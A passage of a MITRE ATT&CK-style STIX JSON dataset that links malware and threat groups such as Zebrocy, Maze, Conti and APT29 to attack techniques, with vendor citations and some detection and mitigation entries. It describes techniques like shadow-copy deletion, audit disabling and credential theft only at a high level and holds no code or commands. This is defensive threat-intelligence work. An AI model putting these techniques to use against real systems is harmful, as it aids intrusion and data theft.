"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e9a4ceb4-ed33-48c4-b1f3-f73883b0e207", "type": "relationship", "created": "2019-02-12T16:33:29.331Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Zebrocy Nov 2018", "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."}, {"source_name": "ESET Zebrocy May 2019", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}], "modified": "2019-07-17T01:18:32.965Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251) scans the system and automatically collects files with the following extensions: .doc, .docx, ,.xls, .xlsx, .pdf, .pptx, .rar, .zip, .jpg, .jpeg, .bmp, .tiff, .kum, .tlg, .sbx, .cr, .hse, .hsf, and .lhz.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e9a4e4bd-717a-4048-a623-4a1758b93acd", "type": "relationship", "created": "2021-06-22T13:33:51.624Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-06-22T13:33:51.624Z", "description": "[SodaMaster](https://attack.mitre.org/software/S0627) has the ability to query the Registry to detect a key specific to VMware.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "malware--94d6d788-07bb-4dcc-b62f-e02626b00108", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e9a96b5e-5d6c-46c7-85df-ff16d1efeb4d", "created": "2022-02-02T21:05:49.053Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "BiZone Lizar May 2021", "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}, {"source_name": "Threatpost Lizar May 2021", "url": "https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/", "description": "Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. 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(2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}], "modified": "2021-10-12T23:00:49.649Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has used stolen credentials to compromise Outlook Web Access (OWA).(Citation: FireEye APT39 Jan 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ea2f41fe-0701-4607-aa70-d6531c7461c6", "type": "relationship", "created": "2019-06-20T16:11:36.504Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Zebrocy May 2019", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "description": "ESET Research. (2019, May 22). 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Retrieved April 23, 2019."}], "modified": "2019-06-24T17:20:24.486Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) has the capability to take screenshots of the victim\u2019s machine.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ea32ebd2-9827-43ec-a3d3-f0148fee8ed8", "type": "relationship", "created": "2020-05-18T17:31:39.474Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Maze March 2020", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/", "description": "Mundo, A. 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Retrieved October 9, 2020."}], "modified": "2020-10-19T13:55:56.528Z", "description": "[Maze](https://attack.mitre.org/software/S0449) has attempted to delete the shadow volumes of infected machines, once before and once after the encryption process.(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)", "relationship_type": "uses", "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ea33531e-7a8f-45a1-a408-c8f405512aaa", "created": "2021-09-28T20:13:25.332Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Crowdstrike Qakbot October 2020", "description": "CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. 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(2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}], "modified": "2021-01-27T16:57:46.748Z", "description": "[Evilnum](https://attack.mitre.org/groups/G0120) has used malicious JavaScript files on the victim's machine.(Citation: ESET EvilNum July 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ea4025b3-fc68-4d6a-a1c7-a607d5759f44", "created": "2023-12-21T21:20:14.405Z", "revoked": false, "external_references": [{"source_name": "Sygnia Emperor Dragonfly October 2022", "description": "Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. 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(n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. 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(2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}], "modified": "2020-11-25T15:35:06.340Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can use various APIs to allocate memory and facilitate code execution/injection.(Citation: Cybereason Bazar July 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ea41718b-4215-43d4-8d1f-def88af935e3", "type": "relationship", "created": "2021-04-12T16:12:36.773Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry Bahamut", "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", "description": "The BlackBerry Research & Intelligence Team. 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Retrieved February 8, 2021."}], "modified": "2021-05-24T13:16:56.575Z", "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used malware to identify the computer name of a compromised host.(Citation: BlackBerry Bahamut)", "relationship_type": "uses", "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ea4871e2-8754-4002-9e76-a2c1c0ed7e2f", "type": "relationship", "created": "2021-10-05T01:45:52.768Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "wardle evilquest partii", "url": "https://objective-see.com/blog/blog_0x60.html", "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."}], "modified": "2021-10-05T01:45:52.768Z", "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) can download and execute payloads in-memory or from disk.(Citation: wardle evilquest partii)", "relationship_type": "uses", "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ea4a70c8-5952-4a61-86a2-bdc801a64dc8", "created": "2023-02-23T18:06:24.203Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky LuminousMoth July 2021", "description": "Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. 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(2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. 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If requests are filtered or blocked, the specifics of this action, such as the response sent, can be used to gain further insight into the resource's nature or creation. ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", "target_ref": "attack-pattern--eb897572-8979-4242-a089-56f294f4c91d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ea5f9e1f-68fb-46dd-9e09-f66066808d0c", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT34 Dec 2017", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}], "modified": "2020-03-28T21:37:54.177Z", "description": "[POWRUNER](https://attack.mitre.org/software/S0184) persists through a scheduled task that executes it every minute.(Citation: FireEye APT34 Dec 2017)", "relationship_type": "uses", "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ea606b59-74e1-495c-a93d-c04418d86eb6", "type": "relationship", "created": "2019-06-07T17:41:58.936Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro IXESHE 2012", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf", "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}], "modified": "2020-03-18T00:50:06.618Z", "description": "[Ixeshe](https://attack.mitre.org/software/S0015) has used registry values and file names associated with Adobe software, such as AcroRd32.exe.(Citation: Trend Micro IXESHE 2012)", "relationship_type": "uses", "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ea60aa14-d556-4031-9d3f-bb673f2d6f68", "created": "2022-06-10T17:07:59.950Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MSTIC DEV-0537 Mar 2022", "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/", "description": "MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) has created new virtual machines within the target's cloud environment after leveraging credential access to cloud assets.(Citation: MSTIC DEV-0537 Mar 2022) ", "modified": "2022-06-10T17:07:59.950Z", "relationship_type": "uses", "source_ref": "intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7", "target_ref": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ea61bd22-3ebc-4945-9b0a-60e65e3d4d64", "created": "2023-06-14T21:59:16.631Z", "revoked": false, "external_references": [{"source_name": "RotaJakiro 2021 netlab360 analysis", "description": " Alex Turing, Hui Wang. (2021, April 28). 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Retrieved September 23, 2020."}], "modified": "2020-10-09T16:08:00.692Z", "description": "[FatDuke](https://attack.mitre.org/software/S0512) can enumerate directories on target machines.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--54a01db0-9fab-4d5f-8209-53cef8425f4a", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ea71022e-7f2a-4065-9cb1-304f85dbaf6d", "type": "relationship", "created": "2019-07-19T17:27:02.530Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Soft Cell June 2019", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "description": "Cybereason Nocturnus. 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Retrieved November 12, 2020."}, {"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}], "modified": "2020-11-13T21:28:41.127Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has been spread via malicious links embedded in e-mails.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ea80c942-680d-43b4-9cbf-21f2078977ad", "type": "relationship", "created": "2020-06-10T21:56:40.113Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Telebots Dec 2016", "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}, {"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}], "modified": "2020-11-25T21:00:57.219Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has pushed additional malicious tools onto an infected system to steal user credentials, move laterally, and destroy data.(Citation: ESET Telebots Dec 2016)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ea8d3877-97d1-4dbb-b820-ac978dfd20c0", "type": "relationship", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.834Z", "description": "Monitor newly constructed files being written with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ea8e2f9c-80d1-4a6e-90c3-e3d78dc3834d", "created": "2024-01-03T14:26:03.597Z", "revoked": false, "external_references": [{"source_name": "Mandiant APT29 Microsoft 365 2022", "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.", "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-03T14:26:03.597Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) has disabled Purview Audit on targeted accounts prior to stealing emails from  Microsoft 365 tenants.(Citation: Mandiant APT29 Microsoft 365 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ea8e9109-739f-485c-8d13-fb5ed6b2fdcd", "type": "relationship", "created": "2020-09-29T19:16:57.927Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA WellMail July 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c", "description": "CISA. (2020, July 16). MAR-10296782-3.v1 \u2013 WELLMAIL. Retrieved September 29, 2020."}, {"source_name": "NCSC APT29 July 2020", "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf", "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}], "modified": "2020-09-30T15:07:31.159Z", "description": "[WellMail](https://attack.mitre.org/software/S0515) can use hard coded client and certificate authority certificates to communicate with C2 over mutual TLS.(Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)", "relationship_type": "uses", "source_ref": "malware--959f3b19-2dc8-48d5-8942-c66813a5101a", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ea8f4a2f-6c4e-451e-a107-407d0fc06459", "type": "relationship", "created": "2019-05-02T14:41:03.470Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. 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Retrieved October 19, 2020."}], "modified": "2020-10-22T01:54:23.150Z", "description": "Apply extended ACLs to block unauthorized protocols outside the trusted network.(Citation: US-CERT TA17-156A SNMP Abuse 2017)", "relationship_type": "mitigates", "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", "target_ref": "attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--eaa943db-2953-4131-84a2-6b6e1ce9b835", "created": "2022-04-14T13:20:58.093Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for an attempts by a user to gain access to a network or computing resource, often by providing credentials via remote terminal services, that do not have a corresponding entry in a command history file.", "modified": "2022-04-14T13:49:18.351Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", "target_ref": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eab2fc42-07cf-48d1-9bef-f32d11861cf6", "type": "relationship", "created": "2022-03-30T14:26:51.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.840Z", "description": "Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. 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Retrieved March 16, 2022."}], "modified": "2022-03-16T19:15:25.792Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used DropBox URLs to deliver variants of [PlugX](https://attack.mitre.org/software/S0013).(Citation: Proofpoint TA416 Europe March 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eac61f60-a87d-4f83-b5e0-64542efeca6b", "type": "relationship", "created": "2020-06-22T20:34:05.416Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Metamorfo Apr 2020", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", "description": "Erlich, C. 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Retrieved November 16, 2020."}], "modified": "2020-11-16T20:20:30.532Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) can scan for open ports including TCP ports 135 and 1433.(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eacc205b-b8f9-4427-b8bd-3eba5a5a6179", "type": "relationship", "created": "2021-02-17T19:22:30.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CarbonBlack Conti July 2020", "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}], "modified": "2021-02-17T19:22:30.841Z", "description": "[Conti](https://attack.mitre.org/software/S0575) can enumerate through all open processes to search for any that have the string \u201csql\u201d in their process name.(Citation: CarbonBlack Conti July 2020)", "relationship_type": "uses", "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eacf09ab-0264-4af8-bfa5-f3be9df47e3f", "type": "relationship", "created": "2019-06-20T18:55:36.343Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-08T15:59:44.887Z", "description": "Consider periodic review of accounts and privileges for critical and sensitive repositories.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eacf7d8c-c60c-4d4b-af28-57c015a54c55", "type": "relationship", "created": "2021-05-05T15:52:15.819Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT34 April 2021", "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", "description": "Check Point. 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Retrieved November 12, 2020."}, {"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}], "modified": "2020-11-13T20:23:31.710Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can steal cookie data and credentials from Google Chrome.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eade28d3-c5ce-453e-8e57-3262167c30be", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 VERMIN Jan 2018", "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}], "modified": "2020-03-16T19:50:57.860Z", "description": "[VERMIN](https://attack.mitre.org/software/S0257) collects the OS name, machine name, and architecture information.(Citation: Unit 42 VERMIN Jan 2018)", "relationship_type": "uses", "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 